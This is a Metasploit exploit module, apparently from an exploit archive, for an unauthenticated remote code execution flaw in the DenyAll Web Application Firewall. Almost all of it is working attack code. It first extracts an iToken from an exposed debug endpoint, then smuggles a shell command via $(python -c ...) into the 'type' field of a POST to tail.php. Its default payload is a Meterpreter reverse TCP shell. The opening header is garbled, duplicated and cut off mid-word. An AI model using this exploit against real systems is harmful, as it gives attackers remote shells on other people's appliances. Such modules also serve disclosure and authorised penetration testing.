DenyAll Web Application Firewall Remote Code Execution

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Expl ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "DenyAll Web Application Firewall Remote Code Execution",
'Description' => %q{
This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated users can execute a
terminal command under the context of the web server user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/advisory-denyall-web-application-firewall-unauthenticated-remote-code-execution/']
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 3001,
'Payload' => 'python/meterpreter/reverse_tcp'
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [[ 'Automatic', { }]],
'Privileged' => false,
'DisclosureDate' => "Sep 19 2017",
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the vulnerable DenyAll WAF', '/'])
]
)
end

def get_token
# Taking token by exploiting bug on first endpoint.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'webservices', 'download', 'index.php'),
'vars_get' => {
'applianceUid' => 'LOCALUID',
'typeOf' => 'debug'
}
})

if res && res.code == 200 && res.body.include?("iToken")
res.body.scan(/"iToken";s:32:"([a-z][a-f0-9]{31})";/).flatten[0]
else
nil
end
end

def check
# If we've managed to get token, that means target is most likely vulnerable.
token = get_token
if token.nil?
Exploit::CheckCode::Safe
else
Exploit::CheckCode::Appears
end
end

def exploit
# Get iToken from unauthenticated accessible endpoint
print_status('Extracting iToken value')
token = get_token

if token.nil?
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
else
print_good("Awesome. iToken value = #{token}")
end

# Accessing to the vulnerable second endpoint where we have command injection with valid iToken
print_status('Trigerring command injection vulnerability with iToken value.')
r = rand_text_alpha(5 + rand(3));

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'webservices', 'stream', 'tail.php'),
'vars_post' => {
'iToken' => token,
'tag' => 'tunnel',
'stime' => r,
'type' => "#{r}$(python -c "#{payload.encoded}")"
}
})

end
end